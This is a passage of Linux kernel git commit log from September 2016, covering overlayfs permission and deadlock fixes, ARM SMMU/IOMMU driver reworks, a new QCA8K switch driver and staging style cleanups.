anything but overlayfs. Signed-off-by: Miklos Szeredi fs/inode.c | 33 +++++++++++++++++++++++++++------ fs/internal.h | 9 +++++++++ fs/namei.c | 2 +- include/linux/fs.h | 1 - 4 files changed, 37 insertions(+), 8 deletions(-) commit f2b20f6ee842313a0d681dbbf7f87b70291a6a3b Author: Miklos Szeredi Date: Fri Sep 16 12:44:20 2016 +0200 vfs: move permission checking into notify_change() for utimes(NULL) This fixes a bug where the permission was not properly checked in overlayfs. The testcase is ltp/utimensat01. It is also cleaner and safer to do the permission checking in the vfs helper instead of the caller. This patch introduces an additional ia_valid flag ATTR_TOUCH (since touch(1) is the most obvious user of utimes(NULL)) that is passed into notify_change whenever the conditions for this special permission checking mode are met. Reported-by: Aihua Zhang Signed-off-by: Miklos Szeredi Tested-by: Aihua Zhang Cc: # v3.18+ fs/attr.c | 15 +++++++++++++++ fs/utimes.c | 17 +---------------- include/linux/fs.h | 1 + 3 files changed, 17 insertions(+), 16 deletions(-) commit e71b9dff0634edb127f449e076e883ef24a8c76c Author: Miklos Szeredi Date: Fri Sep 16 12:44:20 2016 +0200 ima: use file_dentry() Ima tries to call ->setxattr() on overlayfs dentry after having locked underlying inode, which results in a deadlock. Reported-by: Krisztian Litkey Fixes: 4bacc9c9234c ("overlayfs: Make f_path always point to the overlay and f_inode to the underlay") Signed-off-by: Miklos Szeredi Cc: # v4.2 Cc: Mimi Zohar security/integrity/ima/ima_appraise.c | 4 ++-- security/integrity/ima/ima_main.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 82db33dc5e49fb625262d81125625d07a0d6184e Author: Robin Murphy Date: Tue Sep 13 18:02:02 2016 +0100 iommu/io-pgtable-arm: Check for v7s-incapable systems On machines with no 32-bit addressable RAM whatsoever, we shouldn't even touch the v7s format as it's never going to work. Fixes: e5fc9753b1a8 ("iommu/io-pgtable: Add ARMv7 short descriptor support") Reported-by: Eric Auger Tested-by: Eric Auger Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/io-pgtable-arm-v7s.c | 4 ++++ 1 file changed, 4 insertions(+) commit fade1ec055dc6b6373e7487906b7899b41d0c46f Author: Robin Murphy Date: Mon Sep 12 17:14:00 2016 +0100 iommu/dma: Avoid PCI host bridge windows With our DMA ops enabled for PCI devices, we should avoid allocating IOVAs which a host bridge might misinterpret as peer-to-peer DMA and lead to faults, corruption or other badness. To be safe, punch out holes for all of the relevant host bridge's windows when initialising a DMA domain for a PCI device. CC: Marek Szyprowski CC: Inki Dae Reported-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon arch/arm64/mm/dma-mapping.c | 2 +- drivers/gpu/drm/exynos/exynos_drm_iommu.h | 2 +- drivers/iommu/dma-iommu.c | 25 ++++++++++++++++++++++++- include/linux/dma-iommu.h | 3 ++- 4 files changed, 28 insertions(+), 4 deletions(-) commit 44bb7e243bd4b4e5c79de2452cd9762582f58925 Author: Robin Murphy Date: Mon Sep 12 17:13:59 2016 +0100 iommu/dma: Add support for mapping MSIs When an MSI doorbell is located downstream of an IOMMU, attaching devices to a DMA ops domain and switching on translation leads to a rude shock when their attempt to write to the physical address returned by the irqchip driver faults (or worse, writes into some already-mapped buffer) and no interrupt is forthcoming. Address this by adding a hook for relevant irqchip drivers to call from their compose_msi_msg() callback, to swizzle the physical address with an appropriatly-mapped IOVA for any device attached to one of our DMA ops domains. Acked-by: Thomas Gleixner Acked-by: Marc Zyngier Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/dma-iommu.c | 136 ++++++++++++++++++++++++++++++++++----- drivers/irqchip/irq-gic-v2m.c | 3 + drivers/irqchip/irq-gic-v3-its.c | 3 + include/linux/dma-iommu.h | 9 +++ 4 files changed, 136 insertions(+), 15 deletions(-) commit 455eb7d34ad11b09490f70c33973f9f3e31c4df6 Author: Robin Murphy Date: Mon Sep 12 17:13:58 2016 +0100 iommu/arm-smmu: Set domain geometry For non-aperture-based IOMMUs, the domain geometry seems to have become the de-facto way of indicating the input address space size. That is quite a useful thing from the users' perspective, so let's do the same. Reviewed-by: Eric Auger Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 2 ++ drivers/iommu/arm-smmu.c | 2 ++ 2 files changed, 4 insertions(+) commit 021bb8420d44cf56102d44fca9af628625e75482 Author: Robin Murphy Date: Wed Sep 14 15:26:46 2016 +0100 iommu/arm-smmu: Wire up generic configuration support With everything else now in place, fill in an of_xlate callback and the appropriate registration to plumb into the generic configuration machinery, and watch everything just work. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 168 ++++++++++++++++++++++++++++++----------------- 1 file changed, 108 insertions(+), 60 deletions(-) commit d0acbb750a22bc8961c746bc9cad5937a9d9a83d Author: Robin Murphy Date: Mon Sep 12 17:13:56 2016 +0100 Docs: dt: document ARM SMMU generic binding usage Document how the generic "iommus" binding should be used to describe ARM SMMU stream IDs instead of the old "mmu-masters" binding. Acked-by: Rob Herring Signed-off-by: Robin Murphy Signed-off-by: Will Deacon .../devicetree/bindings/iommu/arm,smmu.txt | 61 +++++++++++++++++----- 1 file changed, 47 insertions(+), 14 deletions(-) commit adfec2e709d2a48dbd756d65fe4fa8e4aae529a3 Author: Robin Murphy Date: Mon Sep 12 17:13:55 2016 +0100 iommu/arm-smmu: Convert to iommu_fwspec In the final step of preparation for full generic configuration support, swap our fixed-size master_cfg for the generic iommu_fwspec. For the legacy DT bindings, the driver simply gets to act as its own 'firmware'. Farewell, arbitrary MAX_MASTER_STREAMIDS! Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 140 ++++++++++++++++++++++++++--------------------- 1 file changed, 78 insertions(+), 62 deletions(-) commit 588888a7399db352d2b1a41c9d5b3bf0fd482390 Author: Robin Murphy Date: Mon Sep 12 17:13:54 2016 +0100 iommu/arm-smmu: Intelligent SMR allocation Stream Match Registers are one of the more awkward parts of the SMMUv2 architecture; there are typically never enough to assign one to each stream ID in the system, and configuring them such that a single ID matches multiple entries is catastrophically bad - at best, every transaction raises a global fault; at worst, they go *somewhere*. To address the former issue, we can mask ID bits such that a single register may be used to match multiple IDs belonging to the same device or group, but doing so also heightens the risk of the latter problem (which can be nasty to debug). Tackle both problems at once by replacing the simple bitmap allocator with something much cleverer. Now that we have convenient in-memory representations of the stream mapping table, it becomes straightforward to properly validate new SMR entries against the current state, opening the door to arbitrary masking and SMR sharing. Another feature which falls out of this is that with IDs shared by separate devices being automatically accounted for, simply associating a group pointer with the S2CR offers appropriate group allocation almost for free, so hook that up in the process. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 197 ++++++++++++++++++++++++++++------------------- 1 file changed, 119 insertions(+), 78 deletions(-) commit d3097e39302083d58922a3d1032d7d59a63d263d Author: Robin Murphy Date: Mon Sep 12 17:13:53 2016 +0100 iommu/arm-smmu: Add a stream map entry iterator We iterate over the SMEs associated with a master config quite a lot in various places, and are about to do so even more. Let's wrap the idiom in a handy iterator macro before the repetition gets out of hand. Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit d6fc5d977671d16535de66645f83a1bd07e1317d Author: Robin Murphy Date: Mon Sep 12 17:13:52 2016 +0100 iommu/arm-smmu: Streamline SMMU data lookups Simplify things somewhat by stashing our arm_smmu_device instance in drvdata, so that it's readily available to our driver model callbacks. Then we can excise the private list entirely, since the driver core already has a perfectly good list of SMMU devices we can use in the one instance we actually need to. Finally, make a further modest code saving with the relatively new of_device_get_match_data() helper. Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 44 +++++++++++--------------------------------- 1 file changed, 11 insertions(+), 33 deletions(-) commit f80cd885fcdd05dff769d62a116313927a03d480 Author: Robin Murphy Date: Wed Sep 14 15:21:39 2016 +0100 iommu/arm-smmu: Refactor mmu-masters handling To be able to support the generic bindings and handle of_xlate() calls, we need to be able to associate SMMUs and stream IDs directly with devices *before* allocating IOMMU groups. Furthermore, to support real default domains with multi-device groups we also have to handle domain attach on a per-device basis, as the "whole group at a time" assumption fails to properly handle subsequent devices added to a group after the first has already triggered default domain creation and attachment. To that end, use the now-vacant dev->archdata.iommu field for easy config and SMMU instance lookup, and unify config management by chopping down the platform-device-specific tree and probing the "mmu-masters" property on-demand instead. This may add a bit of one-off overhead to initially adding a new device, but we're about to deprecate that binding in favour of the inherently-more-efficient generic ones anyway. For the sake of simplicity, this patch does temporarily regress the case of aliasing PCI devices by losing the duplicate stream ID detection that the previous per-group config had. Stay tuned, because we'll be back to fix that in a better and more general way momentarily... Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 370 +++++++++++++---------------------------------- 1 file changed, 101 insertions(+), 269 deletions(-) commit 8e8b203eabd8b9e96d02d6339e4abce3e5a7ea4b Author: Robin Murphy Date: Mon Sep 12 17:13:50 2016 +0100 iommu/arm-smmu: Keep track of S2CR state Making S2CRs first-class citizens within the driver with a high-level representation of their state offers a neat solution to a few problems: Firstly, the information about which context a device's stream IDs are associated with is already present by necessity in the S2CR. With that state easily accessible we can refer directly to it and obviate the need to track an IOMMU domain in each device's archdata (its earlier purpose of enforcing correct attachment of multi-device groups now being handled by the IOMMU core itself). Secondly, the core API now deprecates explicit domain detach and expects domain attach to move devices smoothly from one domain to another; for SMMUv2, this notion maps directly to simply rewriting the S2CRs assigned to the device. By giving the driver a suitable abstraction of those S2CRs to work with, we can massively reduce the overhead of the current heavy-handed "detach, free resources, reallocate resources, attach" approach. Thirdly, making the software state hardware-shaped and attached to the SMMU instance once again makes suspend/resume of this register group that much simpler to implement in future. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 159 +++++++++++++++++++++++++++-------------------- 1 file changed, 93 insertions(+), 66 deletions(-) commit 1f3d5ca43019bff1105838712d55be087d93c0da Author: Robin Murphy Date: Mon Sep 12 17:13:49 2016 +0100 iommu/arm-smmu: Consolidate stream map entry state In order to consider SMR masking, we really want to be able to validate ID/mask pairs against existing SMR contents to prevent stream match conflicts, which at best would cause transactions to fault unexpectedly, and at worst lead to silent unpredictable behaviour. With our SMMU instance data holding only an allocator bitmap, and the SMR values themselves scattered across master configs hanging off devices which we may have no way of finding, there's essentially no way short of digging everything back out of the hardware. Similarly, the thought of power management ops to support suspend/resume faces the exact same problem. By massaging the software state into a closer shape to the underlying hardware, everything comes together quite nicely; the allocator and the high-level view of the data become a single centralised state which we can easily keep track of, and to which any updates can be validated in full before being synchronised to the hardware itself. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 147 +++++++++++++++++++++++++++-------------------- 1 file changed, 86 insertions(+), 61 deletions(-) commit 21174240e4f4439bb8ed6c116cdbdc03eba2126e Author: Robin Murphy Date: Mon Sep 12 17:13:48 2016 +0100 iommu/arm-smmu: Handle stream IDs more dynamically Rather than assuming fixed worst-case values for stream IDs and SMR masks, keep track of whatever implemented bits the hardware actually reports. This also obviates the slightly questionable validation of SMR fields in isolation - rather than aborting the whole SMMU probe for a hardware configuration which is still architecturally valid, we can simply refuse masters later if they try to claim an unrepresentable ID or mask (which almost certainly implies a DT error anyway). Acked-by: Will Deacon Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 43 ++++++++++++++++++++++--------------------- 1 file changed, 22 insertions(+), 21 deletions(-) commit 95fa99aa402ad516ec825057a168f395ece39a2e Author: Robin Murphy Date: Mon Sep 12 17:13:47 2016 +0100 iommu/arm-smmu: Set PRIVCFG in stage 1 STEs Implement the SMMUv3 equivalent of d346180e70b9 ("iommu/arm-smmu: Treat all device transactions as unprivileged"), so that once again those pesky DMA controllers with their privileged instruction fetches don't unexpectedly fault in stage 1 domains due to VMSAv8 rules. Acked-by: Will Deacon Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 08d4ca2a672bab34e6640ffa946844d09d4f6f60 Author: Robin Murphy Date: Mon Sep 12 17:13:46 2016 +0100 iommu/arm-smmu: Support non-PCI devices with SMMUv3 With the device <-> stream ID relationship suitably abstracted and of_xlate() hooked up, the PCI dependency now looks, and is, entirely arbitrary. Any bus using the of_dma_configure() mechanism will work, so extend support to the platform and AMBA buses which do just that. Acked-by: Will Deacon Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/Kconfig | 2 +- drivers/iommu/arm-smmu-v3.c | 37 +++++++++++++++++++++++++++++++------ 2 files changed, 32 insertions(+), 7 deletions(-) commit 8f78515425daead9d69e061cc4d8da8299ed0e88 Author: Robin Murphy Date: Mon Sep 12 17:13:45 2016 +0100 iommu/arm-smmu: Implement of_xlate() for SMMUv3 Now that we can properly describe the mapping between PCI RIDs and stream IDs via "iommu-map", and have it fed it to the driver automatically via of_xlate(), rework the SMMUv3 driver to benefit from that, and get rid of the current misuse of the "iommus" binding. Since having of_xlate wired up means that masters will now be given the appropriate DMA ops, we also need to make sure that default domains work properly. This necessitates dispensing with the "whole group at a time" notion for attaching to a domain, as devices which share a group get attached to the group's default domain one by one as they are initially probed. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 298 +++++++++++++++++++------------------------- 1 file changed, 128 insertions(+), 170 deletions(-) commit dc87a98db751a98577fc6a89b4f26180fc020d24 Author: Robin Murphy Date: Mon Sep 12 17:13:44 2016 +0100 iommu/arm-smmu: Fall back to global bypass Unlike SMMUv2, SMMUv3 has no easy way to bypass unknown stream IDs, other than allocating and filling in the entire stream table with bypass entries, which for some configurations would waste *gigabytes* of RAM. Otherwise, all transactions on unknown stream IDs will simply be aborted with a C_BAD_STREAMID event. Rather than render the system unusable in the case of an invalid DT, avoid enabling the SMMU altogether such that everything bypasses (though letting the explicit disable_bypass option take precedence). Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 48 +++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 44 insertions(+), 4 deletions(-) commit b9bc88118029d20f25f9e457a147de65ada00f7c Author: Robin Murphy Date: Mon Sep 12 17:13:43 2016 +0100 Docs: dt: document ARM SMMUv3 generic binding usage We're about to ratify our use of the generic binding, so document it. CC: Rob Herring CC: Mark Rutland Signed-off-by: Robin Murphy Signed-off-by: Will Deacon Documentation/devicetree/bindings/iommu/arm,smmu-v3.txt | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 57f98d2f61e191ef9d06863c9ce3f8621f3671ef Author: Robin Murphy Date: Tue Sep 13 10:54:14 2016 +0100 iommu: Introduce iommu_fwspec Introduce a common structure to hold the per-device firmware data that most IOMMU drivers need to keep track of. This enables us to configure much of that data from common firmware code, and consolidate a lot of the equivalent implementations, device look-up tables, etc. which are currently strewn across IOMMU drivers. This will also be enable us to address the outstanding "multiple IOMMUs on the platform bus" problem by tweaking IOMMU API calls to prefer dev->fwspec->ops before falling back to dev->bus->iommu_ops, and thus gracefully handle those troublesome systems which we currently cannot. As the first user, hook up the OF IOMMU configuration mechanism. The driver-defined nature of DT cells means that we still need the drivers to translate and add the IDs themselves, but future users such as the much less free-form ACPI IORT will be much simpler and self-contained. CC: Greg Kroah-Hartman Suggested-by: Will Deacon Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/iommu.c | 58 ++++++++++++++++++++++++++++++++++++++++++++++++ drivers/iommu/of_iommu.c | 8 +++++-- include/linux/device.h | 3 +++ include/linux/iommu.h | 39 ++++++++++++++++++++++++++++++++ 4 files changed, 106 insertions(+), 2 deletions(-) commit b996444cf35e736621855e73f9d0762bd49f41f2 Author: Robin Murphy Date: Mon Sep 12 17:13:41 2016 +0100 iommu/of: Handle iommu-map property for PCI Now that we have a way to pick up the RID translation and target IOMMU, hook up of_iommu_configure() to bring PCI devices into the of_xlate mechanism and allow them IOMMU-backed DMA ops without the need for driver-specific handling. Reviewed-by: Will Deacon Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/of_iommu.c | 46 +++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 41 insertions(+), 5 deletions(-) commit 987068fcbdb7a085bb11151b91dc6f4c956c4a1b Author: Robin Murphy Date: Mon Sep 12 17:13:40 2016 +0100 of/irq: Break out msi-map lookup (again) The PCI msi-map code is already doing double-duty translating IDs and retrieving MSI parents, which unsurprisingly is the same functionality we need for the identically-formatted PCI iommu-map property. Drag the core parsing routine up yet another layer into the general OF-PCI code, and further generalise it for either kind of lookup in either flavour of map property. Acked-by: Rob Herring Acked-by: Marc Zyngier Tested-by: Lorenzo Pieralisi Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/of/irq.c | 78 ++----------------------------------- drivers/of/of_pci.c | 102 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/of_pci.h | 10 +++++ 3 files changed, 116 insertions(+), 74 deletions(-) commit 6ec2392ce0bdc04122d4a27c66f599f2fdc06387 Author: Mark Rutland Date: Mon Sep 12 17:13:39 2016 +0100 Docs: dt: add PCI IOMMU map bindings The existing IOMMU bindings are able to specify the relationship between masters and IOMMUs, but they are insufficient for describing the general case of hotpluggable busses such as PCI where the set of masters is not known until runtime, and the relationship between masters and IOMMUs is a property of the integration of the system. This patch adds a generic binding for mapping PCI devices to IOMMUs, using a new iommu-map property (specific to PCI*) which may be used to map devices (identified by their Requester ID) to sideband data for the IOMMU which they master through. Acked-by: Rob Herring Acked-by: Will Deacon Signed-off-by: Mark Rutland Signed-off-by: Will Deacon .../devicetree/bindings/pci/pci-iommu.txt | 171 +++++++++++++++++++++ 1 file changed, 171 insertions(+) commit 8ded2909e2c6c34b70ebb45480f6ce68c64fbddc Author: Will Deacon Date: Fri Sep 9 14:33:59 2016 +0100 iommu/arm-smmu: Disable interrupts whilst holding the cmdq lock The cmdq lock is taken whenever we issue commands into the command queue, which can occur in IRQ context (as a result of unmap) or in process context (as a result of a threaded IRQ handler or device probe). This can lead to a theoretical deadlock if the interrupt handler performing the unmap hits whilst the lock is taken, so explicitly use the {irqsave,irqrestore} spin_lock accessors for the cmdq lock. Tested-by: Jean-Philippe Brucker Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit bcfced1580c40662d1c095899af9d0dd3ed9e7bc Author: Jean-Philippe Brucker Date: Mon Sep 5 14:09:53 2016 +0100 iommu/arm-smmu: Fix polling of command queue When the SMMUv3 driver attempts to send a command, it adds an entry to the command queue. This is a circular buffer, where both the producer and consumer have a wrap bit. When producer.index == consumer.index and producer.wrap == consumer.wrap, the list is empty. When producer.index == consumer.index and producer.wrap != consumer.wrap, the list is full. If the list is full when the driver needs to add a command, it waits for the SMMU to consume one command, and advance the consumer pointer. The problem is that we currently rely on "X before Y" operation to know if entries have been consumed, which is a bit fiddly since it only makes sense when the distance between X and Y is less than or equal to the size of the queue. At the moment when the list is full, we use "Consumer before Producer + 1", which is out of range and returns a value opposite to what we expect: when the queue transitions to not full, we stay in the polling loop and time out, printing an error. Given that the actual bug was difficult to determine, simplify the polling logic by relying exclusively on queue_full and queue_empty, that don't have this range constraint. Polling the queue is now straightforward: * When we want to add a command and the list is full, wait until it isn't full and retry. * After adding a sync, wait for the list to be empty before returning. Suggested-by: Will Deacon Signed-off-by: Jean-Philippe Brucker Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) commit 6070529bebd26e0a80d9b9653a6f53275086603f Author: Robin Murphy Date: Thu Aug 11 17:44:06 2016 +0100 iommu/arm-smmu: Support v7s context format Fill in the last bits of machinery required to drive a stage 1 context bank in v7 short descriptor format. By default we'll prefer to use it only when the CPUs are also using the same format, such that we're guaranteed that everything will be strictly 32-bit. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 69 +++++++++++++++++++++++++++++++++--------------- 1 file changed, 47 insertions(+), 22 deletions(-) commit b4163fb3333cf2279f5bfa2bb4d2d93aa66a3eac Author: Jean-Philippe Brucker Date: Mon Aug 22 14:42:24 2016 +0100 iommu/arm-smmu: Fix event queues synchronization SMMUv3 only sends interrupts for event queues (EVTQ and PRIQ) when they transition from empty to non-empty. At the moment, if the SMMU adds new items to a queue before the event thread finished consuming a previous batch, the driver ignores any new item. The queue is then stuck in non-empty state and all subsequent events will be lost. As an example, consider the following flow, where (P, C) is the SMMU view of producer/consumer indices, and (p, c) the driver view. P C | p c 1. SMMU appends a PPR to the PRI queue, 1 0 | 0 0 sends an MSI 2. PRIQ handler is called. 1 0 | 1 0 3. SMMU appends a PPR to the PRI queue. 2 0 | 1 0 4. PRIQ thread removes the first element. 2 1 | 1 1 5. PRIQ thread believes that the queue is empty, goes into idle indefinitely. To avoid this, always synchronize the producer index and drain the queue once before leaving an event handler. In order to prevent races on the local producer index, move all event queue handling into the threads. Signed-off-by: Jean-Philippe Brucker Signed-off-by: Will Deacon drivers/iommu/arm-smmu-v3.c | 150 +++++++++++++++++++------------------------- 1 file changed, 66 insertions(+), 84 deletions(-) commit e2d42311ffc9a5014eb129d02eb0e7bc791430f0 Author: Peng Fan Date: Wed Jul 13 10:13:08 2016 +0800 iommu/arm-smmu: Drop devm_free_irq when driver detach There is no need to call devm_free_irq when driver detach. devres_release_all which is called after 'drv->remove' will release all managed resources. Signed-off-by: Peng Fan Reviewed-by: Robin Murphy Cc: Will Deacon Signed-off-by: Will Deacon drivers/iommu/arm-smmu.c | 4 ---- 1 file changed, 4 deletions(-) commit 84ce3da1bfd6fd12fce3cd06691e405a36f72cde Merge: 1d7b47a 6b93fb4 Author: David S. Miller Date: Fri Sep 16 04:31:56 2016 -0400 Merge branch 'QCA8K' John Crispin says: ==================== net-next: dsa: add QCA8K support This series is based on the AR8xxx series posted by Matthieu Olivari in may 2015. The following changes were made since then * fixed the nitpicks from the previous review * updated to latest API * turned it into an mdio device * added callbacks for fdb, bridge offloading, stp, eee, port status * fixed several minor issues to the port setup and arp learning * changed the namespacing as this driver to qca8k The driver has so far only been tested on qca8337/N. It should work on other QCA switches such as the qca8327 with minor changes. ==================== Signed-off-by: David S. Miller commit 6b93fb46480a9cfa4afb52a6d19b2591804e5f9e Author: John Crispin Date: Thu Sep 15 16:26:41 2016 +0200 net-next: dsa: add new driver for qca8xxx family This patch contains initial support for the QCA8337 switch. It will detect a QCA8337 switch, if present and declared in the DT. Each port will be represented through a standalone net_device interface, as for other DSA switches. CPU can communicate with any of the ports by setting an IP@ on ethN interface. Most of the extra callbacks of the DSA subsystem are already supported, such as bridge offloading, stp, fdb. Signed-off-by: John Crispin Signed-off-by: David S. Miller drivers/net/dsa/Kconfig | 9 + drivers/net/dsa/Makefile | 1 + drivers/net/dsa/qca8k.c | 1060 ++++++++++++++++++++++++++++++++++++++++++++++ drivers/net/dsa/qca8k.h | 185 ++++++++ 4 files changed, 1255 insertions(+) commit cafdc45c949b9963cbfb8fe3a68d0ab16b0208ce Author: John Crispin Date: Thu Sep 15 16:26:40 2016 +0200 net-next: dsa: add Qualcomm tag RX/TX handler Add support for the 2-bytes Qualcomm tag that gigabit switches such as the QCA8337/N might insert when receiving packets, or that we need to insert while targeting specific switch ports. The tag is inserted directly behind the ethernet header. Reviewed-by: Andrew Lunn Reviewed-by: Florian Fainelli Signed-off-by: John Crispin Signed-off-by: David S. Miller include/net/dsa.h | 1 + net/dsa/Kconfig | 3 ++ net/dsa/Makefile | 1 + net/dsa/dsa.c | 3 ++ net/dsa/dsa_priv.h | 2 + net/dsa/tag_qca.c | 138 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 148 insertions(+) commit e5dcad290a7c62d1c856269dbd13e470e388b704 Author: John Crispin Date: Thu Sep 15 16:26:39 2016 +0200 Documentation: devicetree: add qca8k binding Add device-tree binding for ar8xxx switch families. Cc: devicetree@vger.kernel.org Signed-off-by: John Crispin Reviewed-by: Andrew Lunn Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller .../devicetree/bindings/net/dsa/qca8k.txt | 89 ++++++++++++++++++++++ 1 file changed, 89 insertions(+) commit 6e81f6f1213d6b88f0f4f8d0577b418ab0166fc7 Author: Gargi Sharma Date: Fri Sep 16 08:16:07 2016 +0530 staging: wlan-ng: add spaces around << add spaces around << to fix the checkpatch issue, spaces preferred around that '<<'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 05235ce2ec77f4507d242963dba13085b14b4172 Author: Gargi Sharma Date: Fri Sep 16 08:16:06 2016 +0530 staging: wlan-ng: add spaces around | add spaces around | to fix the checkpatch issue, spaces preferred around that '|'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 061eab5c6396894de5a01bcaf5ab7bae51232ba7 Author: Gargi Sharma Date: Fri Sep 16 08:16:05 2016 +0530 staging: wlan-ng: add spaces around >> add spaces around >> to fix the checkpatch issue, spaces preferred around that '>>'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 65dbeefd023329c1f45769719b0438e19e3cb011 Author: Gargi Sharma Date: Fri Sep 16 08:16:04 2016 +0530 staging: wlan-ng: add spaces around & add space around & to fix the checkpatch issue spaces preferred around that '&'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 0548cad1c40d91bd7e6791ae5a0daf89da468169 Author: Gargi Sharma Date: Fri Sep 16 08:16:03 2016 +0530 staging: wlan-ng: add spaces around + add spaces around + to fix the checkpatch issue, spaces preferred around that '&'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e3f680ddaed9d94ee629aee7747e419f2c700f4e Author: Gargi Sharma Date: Fri Sep 16 04:08:12 2016 +0530 staging: fbtft: add spaces around << add spaces around << to fix the checkpatch issue, spaces preferred around that '<<'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ssd1351.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 007afa8bd3e9adaa277b6f9451659e0974bde923 Author: Gargi Sharma Date: Fri Sep 16 04:08:11 2016 +0530 staging: fbtft: move && operator for logical continuation Move && up to the previous line, to fix the checkpatch issue Logical continuations should be on the previous line. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ssd1351.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 3b13abf5a7095f1ff468e50345d8b2e34399f817 Author: Gargi Sharma Date: Fri Sep 16 06:08:35 2016 +0530 staging: i4l: correct misspelled "ressources" to "resources" change ressources to resources to fix the checkpatch issue 'ressources' may be misspelled. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/act2000_isa.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e28c631770f7d9f23da832e9fcc930a2bb59ad48 Author: sayli karnik Date: Fri Sep 16 02:27:05 2016 +0530 staging: comedi: Use the BIT() macro instead of left shifting 1 This patch replaces left shifts on 1 with the BIT(x) macro, as suggested by checkpatch.pl. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_pcidio.c | 76 +++++++++++++++--------------- 1 file changed, 38 insertions(+), 38 deletions(-) commit a33d506b72b670e2bfb72671b603f8a2054120d4 Author: Gargi Sharma Date: Fri Sep 16 00:37:14 2016 +0530 staging: xgifb: fix alignment for if arguments Reduce indentation of multi-line if-test arguments for better readability. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e35bf9b44ddc83f2ca3ca1b3491a4b2906485632 Author: Gargi Sharma Date: Fri Sep 16 00:37:13 2016 +0530 staging: xgifb: remove blank line before closing brace delete blank line before '}' to fix the checkpatch issue Blank lines aren't necessary before a closing brace '}'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 7 ------- 1 file changed, 7 deletions(-) commit 4d09a43839853b9df7549fddd802a6e59b7201c1 Author: Gargi Sharma Date: Fri Sep 16 00:37:12 2016 +0530 staging: xgifb: add spaces around | insert spaces around '|' to fix the checkpatch issue spaces preferred around that '|'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 909bb2b41f765a4882cc9a5ead13297b8a1f86c7 Author: Gargi Sharma Date: Fri Sep 16 00:37:11 2016 +0530 staging: xgifb: remove blank line after open brace delete a blank line after an open brace to fix the check patch issue, Blank lines aren't necessary after an open 